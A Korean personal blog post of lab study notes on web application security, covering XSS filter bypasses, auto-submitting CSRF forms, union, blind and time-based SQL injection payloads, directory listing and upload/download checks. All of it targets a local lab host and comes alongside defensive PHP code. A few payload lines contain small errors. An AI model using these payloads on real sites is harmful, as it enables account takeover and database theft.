kjh00n의 기록저장소

어플리케이션 보안 운영 본문

간단정리

어플리케이션 보안 운영

kjh00n 2025. 1. 15. 17:41
HTML 태그 종류  
title 태그 브라우저의 탭이나 툴바에 출력되는 제목을 설정
meta 태그 실제 화면에 출력되지는 않지만 문서의 설명, 작성자, 인코딩, 속성 정보 등의 특정 설정을 지정하는 태그
br 태그 줄 바꿈 태그
p 태그 문서 안에 내용의 단락을 정의하는 태그
form 태그 사용자 입력을 수집하여 처리, 사용하는 태그
action = 사용자 입력값을 어느 HTML문서에 전달할지 설정
method = 사용자가 입력한 값을 서버에 전달할 때 어떤 method로 요청할지 결정
enctype = 사용자가 입력한 값을 어떻게 인코딩하여 서버에게 전달할지 결정하는 값
name = 서버에게 전달할 전체 양식의 이름을 지정
input 태그 사용자에게 원하는 타입의 데이터를 입력받는 태그
① type → 데이터의 타입 지정
② name → 데이터의 이름 지정
③ value → 데이터의 기본 값 지정
④ maxlength → 데이터의 최대 크기 제한


● type 속성의 속성값 종류
 text → 문자열 입력→ ID와 PW를 설정할 때는 구분해줘야 하기 때문에 name="ID" 이런 형식으로 설정해줘야 된다.
 password → 문자열 입력(화면에 출력X)
 number → 숫자 입력(min, max 속성을 같이 사용 가능)
 date → 날짜 입력
⑤ datetime-local → 날짜와 시간을 같이 입력
⑥ color → 색상 입력
⑦ file → 파일 업로드
⑧ button → 버튼 생성 (value를 이용한 버튼 이름 지정)

⑨ reset → reset 버튼 생성 (form 태그 안에서 입력했던 모든 사용자 입력값을 삭제)
⑩ submit → 전송 버튼 생성 (form 태그 안에서 입력했던 모든 사용자 입력값을 실제로 전송한다)
→ form 태그 속성 중 action 속성에 정의된 페이지로 요청
⑪ hidden → 화면에 출력하지 않는 태그


XSS 필터링 XSS 우회
str_replace("검색할 문자열","변경 후 문자열","원본데이터") 대문자 사용
str_replace = 대소문자 구분하지 않음 반복 입력 (<scr<script>ipt>)
반복문으로 입력
 while(strrpos($b_cont,"<script>",0)) {
        $b_cont=str_ireplace("<script>","","$b_cont");
    } # 글 내용에 <script> 태그가 있으면 삭제

    while(preg_match("/<script>/i",$b_cont)) {
        $b_cont=str_ireplace("<script>","","$b_cont");
    } # 글 내용에 <script> 태그가 있으면 삭제

// 사이에 있는 문자열 찾겠다.i는 대소문자 구분 X

띄어쓰기 사용
<script    >
공백을 포함하여 검색과 필터링을 같이 수행
    while(preg_match("/<script *>/i",$b_cont)) {
        $b_cont=preg_replace("/<script *>/i","","$b_cont");
    } # 글 내용에 <script> 태그가 있으면 삭제

<script *>
→ *의 앞에 문자인 공백이 있던 없던 여러개 있어도 상관없이 검색하겠다는 의미

preg_replace
→ 정규표현식으로 필터링
속성 사용
● <script type="text/javascript">alert("hello");</script>

줄바꿈
● <script
>alert("hello");</script>

    while(preg_match("/<script.*?>/is",$b_cont)) {
        $b_cont=preg_replace("/<script.*?>/is","","$b_cont");
    } # 글 내용에 <script> 태그가 있으면 삭제

.*? = 모든 데이터를 매칭(데이터가 없어도 매칭)
/is = i는 대소문자 구분 없이, s는 줄바꿈문자도 매칭
 
    while(preg_match("/<script.*?>.*?<\/script.*?>/is",$b_cont)) {
        $b_cont=preg_replace("/<script.*?>.*?<\/script.*?>/is","","$b_cont");
    } # 글 내용에 <script> 태그가 있으면 삭제
데이터를 싹 다 지우고 싶다
 
htmlspecialchars(원본데이터);
→ html 인코딩해주는 함수
→ html에서 사용하는 메타 문자들을 전부 일반 문자로 변환
→ 태그로 입력한 공격 코드가 태그로 인식 안되고 일반 문자로 인식된다.
→ 다른 태그들도 못 쓰게 되서 잘 사용하지 않음

 
strip_tags(원본데이터,태그);
→ 지정한 태그를 제외한 나머지 태그들을 삭제하는 함수
→ 관리자가 허용하는 태그만 사용하고 나머지 태그들은 사용 불가능

 

CSRF
<script src ="http://192.168.50.50/member/nick_change.php?nick=바부멍충이" width="0" height="0"></script> 
<img src="http://192.168.50.50/member/nick_change.php?nick=똥멍충이" width="0" height="0"></img>
<iframe src="http://192.168.50.50/member/nick_change.php?nick=멍충멍충" width="0" height="0"></iframe>
<form method="post" action="/member/info_change.php"> <input type="hidden" name="user_pw1" value="123456"> <input type="hidden" name="user_pw2" value="123456"> <input type="hidden" name="age" value="10"> <input type="hidden" name="nick" value="바보"> <input type="hidden" name="email" value="바보@바보.com"> <input type="submit" value="이벤트 당첨"> </form>

→ 입력칸들은 숨기고 이벤트 당첨 제출 버튼만 남겨놓기
→ 페이지는 유지안됨
<iframe name=”i” width=”0” height=”0” style="display:none;"></iframe> <form target=”i” id="hack" method="post" action="/member/info_change.php"> <input type="hidden" name="user_pw1" value="123456"> <input type="hidden" name="user_pw2" value="123456"> <input type="hidden" name="age" value="10"> <input type="hidden" name="nick" value="바보"> <input type="hidden" name="email" value="바보@바보.com"> </form> <script>document.getElementById("hack").submit()</script>

→ 페이지도 유지하면서 닉변
<iframe name="i" width="0" height="0" sandbox></iframe> #내가 만든 게시글 출력 <form target="i" id="hack" method="post" action="/board/board_write_ok.php" enctype="multipart/form-data"> <input type="hidden" name="name" value="root"> <input type="hidden" name="pw" value="1234"> <input type="hidden" name="email" value="root@kh.com"> <input type="hidden" name="sub" value="[필독] 공지사항"> <input type="hidden" name="tag" value="T"> <input type="hidden" name="cont" value="우리 사이트 서비스 종료되었음을 알리며, 모두 탈퇴 요청합니다. 감사합니다."> <input type="file" name="att_file" style="display:none;"> </form> <script>document.getElementById("hack").submit()</script> #게시글 클릭하면 게시글 자동 생성

→ sandbox를 사용하면 경고창이 차단된다
→ 게시글 클릭하면 위 내용들로 작성된 글이 자동으로 등록된다
보안
if($_SERVER["HTTP_REFERER"] != "http:/192.168.50.50/member/nick.php")를 사용하기 

SQL Injection  
Injection Vector에 ' or '1을 입력하기 select * from member where u_id='' and u_pw=''; 인데 [ ' or '1 ] 문구를 대입해보면

 select * from member where u_id='' or '1' and u_pw='' or '1'; 이라는 SQL문이 생성됨
Injection Vector에 # 사용하기 은 MariaDB의 주석 기호이다.
select * from member where u_id='' or '1' #' and u_pw='hello';
 # 뒤에 있는 값들은 전부 주석처리되서 작용한다

   
Non Blind SQL Injection  
http://192.168.50.50/board/board_view.php?num=40인 게시글에 union select 1,2,3,4,5,6,7,8,9,10,11 #을 추가로 입력
→ 이러면 페이지가 정상 출력된다
http://192.168.50.50/board/board_view.php?num=2 -1 union select 1,2,3,4,5,6,7,8,9,10,11 # 으로 입력 → 이러면 페이지에 숫자들이 적혀서 출력된다
http://192.168.50.50/board/board_view.php?num=2 에다가 order by 1 #을 붙여서 입력
출력이 되네? 그러면 order by 12 #으로 하면 게시글 출력이 안됨
그럼 order by 11 #으로 하니까 출력이 되네?

→ 이 게시글의 컬럼 수는 11개라는 것을 알아낼 수 있었다.
-1 union select 1,2,3,4,database(),version(),7,8,9,10,11 # database() = DB의 이름 출력
version() = DB의 버전 출력
-1 union select 1,2,3,4,table_schema,table_name,7,8,9,10,11 from information_schema.tables where table_schema='WebTest' # Table의 정보가 저장된 Table → information_schema.tables
tables에서 Table 이름이 저장된 컬럼 → table_name
tables에서 DB의 이름이 저장된 컬럼 → table_schema
-1 union select 1,2,3,4,5,column_name,7,8,9,10,11 from information_schema.columns where table_name='board' #
컬럼명 조회하기
   
Blind SQL Injection  
' or ascii(substr(database(),1,1)) >= 97 # → 거짓
' or ascii(substr(database(),1,1)) >= 65 # → 거짓
' or ascii(substr(database(),1,1)) > 77 # → 참
' or ascii(substr(database(),1,1)) > 84 # → 참
' or ascii(substr(database(),1,1)) > 87 # → 거짓
' or ascii(substr(database(),1,1)) > 85 # → 거짓
' or ascii(substr(database(),1,1)) > 86 # → 거짓
' or ascii(substr(database(),1,1)) > 87 # → 참
이런식으로 한글자씩 알아가야된다
97은 a
65는 A
49는 1
33~47은 특수문자
' or ascii(substr((select table_name from information_schema.tables where table_schema='WebTest' limit 0,1),1,1)) >= 97 # WebTest DB의 첫번째 Table의 글자 찾기 (board 테이블)
' or ascii(substr((select column_name from information_schema.columns where table_schema='WebTest' and table_name='member' limit 0,1),1,1)) = 110 # → 참('n') 원하는 DB의 원하는 Table의 첫번째 Column의 이름을 알아내는 공격
' or ascii(substr((select u_id from member where no=1)1,1)) >= 97 # → 참(소문자) 원하는 DB의 원하는 Table의 원하는 데이터를 알아내기
-1 union select 1,2,3,4,5,group_concat(table_name),7,8,9,10,11 from information_schema.tables where table_schema='WebTest' # 2. 여러 행에서 출력되는 같은 컬럼의 데이터를 한번에 붙여서 출력
 group_concat(이름)

   
Time Based SQL Injection  
' or ascii(substr(database(),1,1)) >= 97 and sleep(3) # → 거짓
' or ascii(substr(database(),1,1)) >= 65 and sleep(3) # → 거짓
 

Directory Listing   
http://192.168.50.50/member/  라고 입력하면 member에 있는 모든 PHP파일들이 화면에 출력된다
보안  
vim /etc/httpd/conf/httpd.conf에서 149번째 줄인
Options Indexes FollowSymLinks에서 Indexes 없애기
 

File Download  
보안  
$file_name=str_ireplace("../","",$file_name);  
   
File Upload  
보안  
board_write_ok.php 파일에 설정 ↓
# 파일 확장자 검사
        if(preg_match("/.php|.html|.php3|.phtml/i",$f_name)) {
            echo "<script>
            alert('올바르지 않은 파일입니다');
            history.back();
            </script>";
            exit();
        }

 

 

'간단정리' 카테고리의 다른 글

총정리  (0) 2024.12.20